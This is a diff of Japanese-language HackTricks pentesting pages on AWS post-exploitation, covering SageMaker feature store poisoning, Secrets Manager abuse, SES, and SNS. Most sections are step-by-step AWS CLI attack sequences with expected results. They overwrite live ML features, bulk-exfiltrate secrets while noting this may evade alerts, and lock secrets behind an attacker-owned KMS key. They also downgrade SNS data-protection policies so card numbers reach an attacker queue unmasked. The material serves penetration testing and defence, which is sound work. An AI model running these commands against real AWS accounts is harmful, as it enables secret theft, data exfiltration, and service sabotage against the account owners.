+- Model Registry を、攻撃者管理下のコードを参照する Approved バージョンで汚染します。Approved モデルを自動デプロイするパイプラインは攻撃者のイメージを pull して実行する可能性があり、endpoint/training ロールの権限でコード実行が発生します。
+- 寛容な ModelPackageGroup リソースポリシー（PutModelPackageGroupPolicy）がある場合、この悪用はクロスアカウントで誘発され得ます。
+
+## Feature store poisoning
+
+OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、online inference が消費するライブの feature 値を上書きします。`sagemaker:GetRecord` と組み合わせると、攻撃者は機密性の高い feature を読み取ることができます。これはモデルやエンドポイントへのアクセスを必要としません。
+
+{{#ref}}
+feature-store-poisoning.md
+{{/ref}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md

@@ -0,0 +1,50 @@
+# SageMaker Feature Store online store poisoning
+
+OnlineStore が有効な Feature Group に対して `sagemaker:PutRecord` を悪用し、オンライン推論で消費されるライブの特徴量値を上書きします。`sagemaker:GetRecord` と組み合わせることで、攻撃者は機密性の高い特徴量を読み取ることができます。これはモデルやエンドポイントへのアクセスを必要としません。
+
+## Requirements
+- 権限: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- ターゲット: OnlineStore が有効な Feature Group（通常はリアルタイム推論を支える）
+
+## Steps
+1) テスト用に小さな Online Feature Group を選択または作成する
+```bash
+REGION=${REGION:-us-east-1}
+FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
+if [ -z "$FG" -o "$FG" = "None" ]; then
+ACC=$(aws sts get-caller-identity --query Account --output text)
+FG=ht-fg-$ACC-$(date +%s)
+ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
+aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
+echo "Waiting for feature group to be in Created state..."
+for i in $(seq 1 40); do
+ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
+echo $ST; [ "$ST" = "Created" ] && break; sleep 15
+done
+fi
+```
+2) オンラインレコードを挿入/上書き (poison)
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+cat > /tmp/put.json << JSON
+{
+"FeatureGroupName": "$FG",
+"Record": [
+{"FeatureName": "entity_id", "ValueAsString": "user-123"},
+{"FeatureName": "event_time", "ValueAsString": "$NOW"},
+{"FeatureName": "risk_score", "ValueAsString": "0.99"}
+],
+"TargetStores": ["OnlineStore"]
+}
+JSON
+aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
+```
+3) レコードを読み返して改ざんを確認する
+```bash
+aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
+```
+期待される結果: risk_score が 0.99 を返す (attacker-set)、モデルが使用するオンライン features を変更できることを証明する。
+
+## Impact
+- Real-time integrity attack: エンドポイント/モデルに触れることなく、production models が利用する features を操作する。
+- Confidentiality risk: GetRecord を介して OnlineStore から機密性の高い features を読み取る。

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md

@@ -1,126 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-詳細は次を参照してください：
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### シークレットの読み取り
-
-シークレット自体は機密情報です。読み取り方法については[privesc ページ](../aws-privilege-escalation/aws-secrets-manager-privesc.md)を参照してください。
-
-### DoS — シークレット値の変更
-
-シークレットの値を変更すると、その値に依存するすべてのシステムを**DoS**してしまう可能性があります。
-
-> [!WARNING]
-> 以前の値も保存されるので、簡単に以前の値に戻すことができます。
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
---secret-id MyTestSecret \
---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-### DoS Change KMS key
-
-攻撃者が secretsmanager:UpdateSecret 権限を持っている場合、攻撃者が所有する KMS key を使うように secret を構成できます。そのキーは最初、誰でもアクセス・使用できるように設定されているため、secret をその新しいキーで更新することが可能です。もしキーにアクセスできなければ、secret は更新できません。
-
-secret のキーを変更した後、攻撃者は自分のキーの設定を変更して自分のみがアクセスできるようにします。こうすることで、以降のバージョンの secret は新しいキーで暗号化され、そのキーにアクセスできないため secret を取得することができなくなります。
-
-重要なのは、このアクセス不能は secret の内容が変更された後の以降のバージョンでのみ発生する点です。現在のバージョンはまだ元の KMS key で暗号化されているため、現時点では影響を受けません。
-```bash
-aws secretsmanager update-secret \
---secret-id MyTestSecret \
---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-### DoS Deleting Secret
-
-シークレットを削除するための最小日数は7日です
-```bash
-aws secretsmanager delete-secret \
---secret-id MyTestSecret \
---recovery-window-in-days 7
-```
-## secretsmanager:RestoreSecret
-
-シークレットは復元可能です。シークレットの削除期間は最短7日、最長30日であるため、削除予定になっているシークレットを復元できます。secretsmanager:GetSecretValue 権限があれば、その内容を取得できます。
-
-削除処理中のシークレットを復元するには、次のコマンドを使用します：
-```bash
-aws secretsmanager restore-secret \
---secret-id <Secret_Name>
-```
-## secretsmanager:DeleteResourcePolicy
-
-このアクションは、シークレットへのアクセスを誰が許可されるかを制御するリソースポリシーを削除できるようにします。リソースポリシーが特定のユーザー群へのアクセスを許可するように設定されていた場合、これはDoSにつながる可能性があります。
-
-リソースポリシーを削除するには:
-```bash
-aws secretsmanager delete-resource-policy \
---secret-id <Secret_Name>
-```
-## secretsmanager:UpdateSecretVersionStage
-
-シークレットのステートはシークレットのバージョン管理に使われます。AWSCURRENT はアプリケーションが使用するアクティブなバージョンを示し、AWSPREVIOUS は必要に応じてロールバックできるよう前のバージョンを保持し、AWSPENDING はローテーション処理で新しいバージョンを準備・検証して現在のバージョンにする前に使われます。
-
-アプリケーションは常に AWSCURRENT が付いたバージョンを読みます。誰かがそのラベルを誤ったバージョンに移動すると、アプリは無効な認証情報を使ってしまい、動作が失敗する可能性があります。
-
-AWSPREVIOUS は自動で使用されるわけではありません。しかし、AWSCURRENT が削除されたり誤って再割り当てされた場合、すべてが前のバージョンで稼働しているように見えることがあります。
-```bash
-aws secretsmanager update-secret-version-stage \
---secret-id <your-secret-name-or-arn> \
---version-stage AWSCURRENT \
---move-to-version-id <target-version-id> \
---remove-from-version-id <previous-version-id>
-```
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
-
-Secrets Manager の BatchGetSecretValue API を悪用して、1回のリクエストで最大20個のシークレットを取得します。これは各シークレットごとに GetSecretValue を繰り返す場合と比べて API コール数を大幅に削減できます。フィルタ（tags/name）を使用する場合は ListSecrets の権限も必要です。CloudTrail はバッチで取得された各シークレットについて個別に GetSecretValue イベントを記録します。
-
-必要な権限
-- secretsmanager:BatchGetSecretValue
-- secretsmanager:GetSecretValue（各対象シークレットごとに）
-- secretsmanager:ListSecrets（--filters を使用する場合）
-- kms:Decrypt（シークレットで使用される CMKs に対して。aws/secretsmanager を使用していない場合）
-
-> [!WARNING]
-> `secretsmanager:BatchGetSecretValue` の権限だけではシークレットを取得するのに十分ではありません。取得したい各シークレットに対して `secretsmanager:GetSecretValue` も必要です。
-
-Exfiltrate by explicit list
-```bash
-aws secretsmanager batch-get-secret-value \
---secret-id-list <secret1> <secret2> <secret3> \
---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
-```
-フィルタによるExfiltrate (tag key/value or name prefix)
-```bash
-# By tag key
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-key,Values=env \
---max-results 20 \
---query 'SecretValues[].{Name:Name,Val:SecretString}'
-
-# By tag value
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-value,Values=prod \
---max-results 20
-
-# By name prefix
-aws secretsmanager batch-get-secret-value \
---filters Key=name,Values=MyApp
-```
-部分的な失敗の処理
-```bash
-# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
-aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
-```
-影響
-- より少ない API コールで多くの secrets を迅速に “smash-and-grab” し、GetSecretValue の急増に合わせて調整されたアラートを回避する可能性がある。
-- CloudTrail ログには、batch で取得された各 secret ごとに 1 件の GetSecretValue イベントが含まれる。

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md

@@ -0,0 +1,130 @@
+# AWS - Secrets Manager Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+詳細は次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Secrets の読み取り
+
+**secrets 自体は機密情報です**、[check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) を参照して、読み取り方法を学んでください。
+
+### DoS Change Secret Value
+
+secret の値を変更すると、その値に依存するすべてのシステムを**DoS**する可能性があります。
+
+> [!WARNING]
+> 以前の値も保存されていることに注意してください。したがって、簡単に以前の値に戻すことができます。
+```bash
+# Requires permission secretsmanager:PutSecretValue
+aws secretsmanager put-secret-value \
+--secret-id MyTestSecret \
+--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+```
+### DoS Change KMS key
+
+攻撃者が secretsmanager:UpdateSecret 権限を持っている場合、攻撃者が所有する KMS key を使用するよう secret を設定できます。そのキーは初期設定で誰でもアクセス・使用できるようになっているため、secret を新しいキーで更新することが可能です。もしそのキーにアクセスできない設定であれば、secret を更新することはできません。
+
+secret のキーを変更した後、攻撃者は自分のキーの設定を変更して自分だけがアクセスできるようにします。こうすることで、以降のバージョンの secret は新しいキーで暗号化され、誰もアクセスできないため、secret を取得する能力が失われます。
+
+重要なのは、このアクセス不能は secret の内容が変更された後に作られる後続のバージョンでのみ発生するということです。現行のバージョンは元の KMS key で暗号化されたままだからです。
+```bash
+aws secretsmanager update-secret \
+--secret-id MyTestSecret \
+--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+```
+### DoS Deleting Secret
+
+シークレットを削除する最小日数は7日です
+```bash
+aws secretsmanager delete-secret \
+--secret-id MyTestSecret \
+--recovery-window-in-days 7
+```
+## secretsmanager:RestoreSecret
+
+シークレットを復元することが可能です。これにより、削除予定になっているシークレットを復元できます。シークレットの最小削除期間は7日、最大は30日です。secretsmanager:GetSecretValue 権限と組み合わせることで、それらの内容を取得できるようになります。
+
+削除処理中のシークレットを復旧するには、次のコマンドを使用できます：
+```bash
+aws secretsmanager restore-secret \
+--secret-id <Secret_Name>
+```
+## secretsmanager:DeleteResourcePolicy
+
+このアクションは、secret へのアクセスを制御する resource policy を削除することを許可します。resource policy が特定のユーザー群へのアクセスを許可するように設定されていた場合、これは DoS につながる可能性があります。
+
+resource policy を削除するには：
+```bash
+aws secretsmanager delete-resource-policy \
+--secret-id <Secret_Name>
+```
+## secretsmanager:UpdateSecretVersionStage
+
+シークレットの状態は、シークレットのバージョンを管理するために使われます。AWSCURRENT はアプリケーションが使用するアクティブなバージョンを示し、AWSPREVIOUS は必要に応じてロールバックできるよう前のバージョンを保持し、AWSPENDING は新しいバージョンを current にする前にローテーション処理で準備・検証するために使われます。
+
+アプリケーションは常に AWSCURRENT が付いたバージョンを読みます。誰かがそのラベルを誤ったバージョンに移動させると、アプリは無効な認証情報を使ってしまい、動作しなくなる可能性があります。
+
+AWSPREVIOUS は自動的には使用されません。ただし、AWSCURRENT が削除されたり誤って再割り当てされた場合、すべてがまだ前のバージョンで動作しているように見えることがあります。
+```bash
+aws secretsmanager update-secret-version-stage \
+--secret-id <your-secret-name-or-arn> \
+--version-stage AWSCURRENT \
+--move-to-version-id <target-version-id> \
+--remove-from-version-id <previous-version-id>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
+
+Secrets Manager の BatchGetSecretValue API を悪用して、1回のリクエストで最大20件のシークレットを取得します。個々のシークレットごとに GetSecretValue を繰り返す場合と比べて、API 呼び出し回数を大幅に削減できます。フィルター（tags/name）を使用する場合は、ListSecrets 権限も必要です。CloudTrail はバッチで取得した各シークレットごとに GetSecretValue イベントを記録します。
+
+必要な権限
+- secretsmanager:BatchGetSecretValue
+- secretsmanager:GetSecretValue for each target secret
+- secretsmanager:ListSecrets if using --filters
+- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
+
+> [!WARNING]
+> Note that the permission `secretsmanager:BatchGetSecretValue` is not included enough to retrieve secrets, you also need `secretsmanager:GetSecretValue` for each secret you want to retrieve.
+
+Exfiltrate by explicit list
+```bash
+aws secretsmanager batch-get-secret-value \
+--secret-id-list <secret1> <secret2> <secret3> \
+--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
+```
+Exfiltrate をフィルタで（tag key/value または name prefix）
+```bash
+# By tag key
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-key,Values=env \
+--max-results 20 \
+--query 'SecretValues[].{Name:Name,Val:SecretString}'
+
+# By tag value
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-value,Values=prod \
+--max-results 20
+
+# By name prefix
+aws secretsmanager batch-get-secret-value \
+--filters Key=name,Values=MyApp
+```
+部分的な失敗の処理
+```bash
+# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
+aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
+```
+影響
+- 少ないAPIコールで多数のシークレットを迅速に“smash-and-grab”でき、GetSecretValueの急増に合わせて調整されたアラートを回避する可能性がある。
+- CloudTrailのログには、バッチで取得された各シークレットごとに1つのGetSecretValueイベントが引き続き記録される。

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md

@@ -1,13 +1,13 @@
-# AWS - SES ポストエクスプロイテーション
+# AWS - SES Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SES
 
-詳細については、次を確認してください：
+詳細は以下を参照してください:
 
 {{#ref}}
-../aws-services/aws-ses-enum.md
+../../aws-services/aws-ses-enum.md
 {{#endref}}
 
 ### `ses:SendEmail`
@@ -17,15 +17,15 @@
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
 ```
-まだテスト中です。
+未検証。
 
 ### `ses:SendRawEmail`
 
-メールを送信します。
+メールを送信する。
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
-まだテスト中です。
+まだテストしていません。
 
 ### `ses:SendTemplatedEmail`
 
@@ -33,15 +33,15 @@ aws ses send-raw-email --raw-message file://message.json
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
-まだテストする必要があります。
+まだテストしていません。
 
 ### `ses:SendBulkTemplatedEmail`
 
-複数の宛先にメールを送信します。
+複数の宛先にメールを送信する
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
-まだテスト中です。
+まだテストしていません。
 
 ### `ses:SendBulkEmail`
 
@@ -51,19 +51,19 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-受信したメールに対して**バウンスメール**を送信します（メールが受信できなかったことを示します）。これは**メールを受信してから24時間以内**にのみ行うことができます。
+受信したメールに対して**bounce email**を送信します（そのメールが受信できなかったことを示します）。これは受信後**最大24時間まで**のみ行えます。
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
-まだテストする必要があります。
+まだテストしていません。
 
 ### `ses:SendCustomVerificationEmail`
 
-これにより、カスタマイズされた確認メールが送信されます。テンプレートメールを作成するための権限も必要になる場合があります。
+これはカスタマイズされた確認メールを送信します。テンプレートメールを作成する権限も必要になる場合があります。
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
-まだテスト中です。
+まだテストしていません。
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md

@@ -1,68 +0,0 @@
-# AWS - SNS ポストエクスプロイテーション
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-詳細情報:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### メッセージの妨害
-
-いくつかのケースでは、SNSトピックは監視されているプラットフォーム（メール、Slackメッセージなど）にメッセージを送信するために使用されます。攻撃者がクラウド内での存在を警告するメッセージの送信を妨げることができれば、検出されずに済む可能性があります。
-
-### `sns:DeleteTopic`
-
-攻撃者はSNSトピック全体を削除することができ、メッセージの損失を引き起こし、そのトピックに依存するアプリケーションに影響を与える可能性があります。
-```bash
-aws sns delete-topic --topic-arn <value>
-```
-**潜在的な影響**: 削除されたトピックを使用しているアプリケーションに対するメッセージの損失とサービスの中断。
-
-### `sns:Publish`
-
-攻撃者はSNSトピックに悪意のあるまたは不要なメッセージを送信する可能性があり、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させたりする可能性があります。
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**潜在的な影響**: データの破損、意図しないアクション、またはリソースの枯渇。
-
-### `sns:SetTopicAttributes`
-
-攻撃者はSNSトピックの属性を変更することができ、そのパフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
-```bash
-aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
-```
-**潜在的な影響**: 設定ミスにより、パフォーマンスの低下、セキュリティの問題、または可用性の低下が発生する可能性があります。
-
-### `sns:Subscribe` , `sns:Unsubscribe`
-
-攻撃者はSNSトピックにサブスクライブまたはサブスクライブ解除を行うことで、メッセージへの不正アクセスを得たり、トピックに依存するアプリケーションの正常な機能を妨害したりする可能性があります。
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-aws sns unsubscribe --subscription-arn <value>
-```
-**潜在的影響**: メッセージへの不正アクセス、影響を受けたトピックに依存するアプリケーションのサービス中断。
-
-### `sns:AddPermission` , `sns:RemovePermission`
-
-攻撃者は、不正なユーザーやサービスにSNSトピックへのアクセスを付与したり、正当なユーザーの権限を取り消したりすることで、トピックに依存するアプリケーションの正常な機能に支障をきたす可能性があります。
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-aws sns remove-permission --topic-arn <value> --label <value>
-```
-**潜在的な影響**: トピックへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるトピックの操作、トピックに依存するアプリケーションの正常な機能の妨害。
-
-### `sns:TagResource` , `sns:UntagResource`
-
-攻撃者はSNSリソースからタグを追加、変更、または削除することができ、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが混乱する可能性があります。
-```bash
-aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws sns untag-resource --resource-arn <value> --tag-keys <key>
-```
-**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。 
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md

@@ -0,0 +1,82 @@
+# AWS - SNS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+For more information:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### メッセージの遮断
+
+多くの場合、SNSトピックは監視されているプラットフォーム（電子メール、slackメッセージなど）へメッセージを送信するために使用されます。攻撃者がクラウド内での存在を知らせるメッセージの送信を阻止できれば、検出されずに留まる可能性があります。
+
+### `sns:DeleteTopic`
+
+攻撃者はSNSトピック全体を削除でき、メッセージの損失を引き起こし、そのトピックに依存しているアプリケーションに影響を与える可能性があります。
+```bash
+aws sns delete-topic --topic-arn <value>
+```
+**Potential Impact**: 削除されたトピックを使用するアプリケーションでのメッセージの喪失およびサービス中断。
+
+### `sns:Publish`
+
+攻撃者は悪意のある、または望ましくないメッセージを SNS トピックに送信し、データの破損、意図しないアクションの発動、またはリソースの枯渇を引き起こす可能性があります。
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**潜在的な影響**: データの破損、意図しない操作、またはリソース枯渇。
+
+### `sns:SetTopicAttributes`
+
+攻撃者は SNS topic の属性を変更でき、その結果パフォーマンス、セキュリティ、または可用性に影響を与える可能性があります。
+```bash
+aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
+```
+**潜在的影響**: 誤設定によりパフォーマンス低下、セキュリティ問題、または可用性の低下を招く可能性があります。
+
+### `sns:Subscribe` , `sns:Unsubscribe`
+
+攻撃者はSNSトピックに対して購読や購読解除を行い、メッセージへの不正アクセスを得たり、そのトピックに依存するアプリケーションの正常な動作を妨害したりする可能性があります。
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+aws sns unsubscribe --subscription-arn <value>
+```
+**潜在的な影響**: メッセージへの不正アクセス、影響を受けた topic に依存するアプリケーションのサービス中断。
+
+### `sns:AddPermission` , `sns:RemovePermission`
+
+攻撃者は不正なユーザーやサービスにSNS topicへのアクセスを許可したり、正当なユーザーの権限を取り消したりすることで、topic に依存するアプリケーションの正常な動作を妨げる可能性があります。
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+aws sns remove-permission --topic-arn <value> --label <value>
+```
+**Potential Impact**: トピックへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるトピックの改ざん、トピックに依存するアプリケーションの通常動作の阻害。
+
+### `sns:TagResource` , `sns:UntagResource`
+
+攻撃者はSNSリソースにタグを追加、変更、または削除でき、これにより組織のコスト配分、リソース追跡、およびタグに基づくアクセス制御ポリシーが乱される可能性があります。
+```bash
+aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws sns untag-resource --resource-arn <value> --tag-keys <key>
+```
+**潜在的影響**: コスト配分、リソース追跡、タグベースのアクセス制御ポリシーの混乱。
+
+### More SNS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sns-data-protection-bypass.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-fifo-replay-exfil.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-firehose-exfil.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md

@@ -0,0 +1,92 @@
+# AWS - SNS Message Data Protection ポリシーのダウングレードによるバイパス
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+トピックに `sns:PutDataProtectionPolicy` の権限がある場合、その Message Data Protection ポリシーを Deidentify/Deny から Audit-only に切り替える（または Outbound 制御を削除する）ことで、クレジットカード番号などの機密値が購読先にマスクされずに配信されるようにできます。
+
+## 要件
+- 対象トピックに対して `sns:PutDataProtectionPolicy` を呼び出す権限（データを受け取りたい場合は通常 `sns:Subscribe` も）。
+- Standard SNS トピック（Message Data Protection がサポートされていること）。
+
+## 攻撃手順
+
+- 変数
+
+```bash
+REGION=us-east-1
+```
+
+1) 標準トピックと攻撃者用の SQS キューを作成し、そのトピックのみがキューに送信できるように許可する
+
+```bash
+TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
+Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
+```
+
+2) アウトバウンドメッセージでクレジットカード番号をマスクする data protection ポリシーを適用する
+
+```bash
+cat > /tmp/ht-dlp-policy.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "MaskCCOutbound",
+"Principal": ["*"],
+"DataDirection": "Outbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
+```
+
+3) 攻撃者のキューをサブスクライブし、テスト用のクレジットカード番号付きメッセージを公開してマスキングを確認する
+
+```bash
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+
+期待される抜粋はマスキング（ハッシュ）を示します:
+```json
+"Message" : "payment:{cc:################}"
+```
+4) ポリシーを audit-only にダウングレードする（Outbound に影響する deidentify/deny ステートメントは含めない）
+
+SNS では、Audit ステートメントは Inbound にする必要がある。ポリシーを Audit-only の Inbound ステートメントに置き換えると、Outbound の de-identification がすべて除去され、メッセージは変化なくサブスクライバーに配信される。
+```bash
+cat > /tmp/ht-dlp-audit-only.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "AuditInbound",
+"Principal": ["*"],
+"DataDirection": "Inbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
+```
+
+5) 同じメッセージを publish し、マスク解除された値が配信されることを確認する
+```bash
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+期待される抜粋はプレーンテキストの CC を示す:
+```text
+4539894458086459
+```
+## 影響
+- トピックを de-identification/deny から audit-only に切り替える（または Outbound controls を削除する）ことで、PII/secrets が改変されることなく攻撃者が制御するサブスクリプションへ送信され、本来はマスクまたはブロックされるはずのデータの data exfiltration を可能にします。
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md

@@ -0,0 +1,100 @@
+# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Amazon SNS FIFO topic のメッセージアーカイブを悪用し、subscription の ReplayPolicy を設定することで、以前に公開されたメッセージを attacker 制御の SQS FIFO キューへ replay して exfiltrate する手法。
+
+- サービス: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
+- 要件: Topic は ArchivePolicy 有効（メッセージアーカイブ）。Attacker は topic に Subscribe でき、作成した subscription の属性を設定できる。Attacker は SQS FIFO キューを制御し、topic がメッセージを送信できるようにする。
+- 影響: 過去のメッセージ（subscription 作成前に公開されたもの）が attacker エンドポイントに配信されうる。replayed 配信は SNS envelope 内で Replayed=true としてフラグされる。
+
+## 前提条件
+- SNS FIFO topic でアーカイブが有効: `ArchivePolicy`（例: `{ "MessageRetentionPeriod": "2" }` は 2 日間）。
+- Attacker は以下の権限を持っていること:
+  - `sns:Subscribe` が対象の topic に対して。
+  - 作成した subscription に対して `sns:SetSubscriptionAttributes`。
+- Attacker は SQS FIFO キューを持ち、topic ARN からの `sns:SendMessage` を許可するキューポリシーをアタッチできること。
+
+## 最小 IAM 権限
+- topic に対して: `sns:Subscribe`。
+- subscription に対して: `sns:SetSubscriptionAttributes`。
+- queue に対して: ポリシー設定用の `sqs:SetQueueAttributes` と、topic ARN からの `sns:SendMessage` を許可するキューポリシー。
+
+## Attack: Replay archived messages to attacker SQS FIFO
+Attacker は自身の SQS FIFO キューを被害者の SNS FIFO topic に subscribe し、`ReplayPolicy` を過去（archive 保持期間内）のタイムスタンプに設定する。SNS は一致するアーカイブ済みメッセージを新規 subscription に対して即座に replay し、`Replayed=true` でマークする。
+
+Notes:
+- `ReplayPolicy` に指定するタイムスタンプは topic の `BeginningArchiveTime` 以上でなければならない。これより過去を指定すると API は `Invalid StartingPoint value` を返す。
+- SNS FIFO の `Publish` では `MessageGroupId` を指定する必要がある（および dedup ID を指定するか `ContentBasedDeduplication` を有効にする）。
+
+<details>
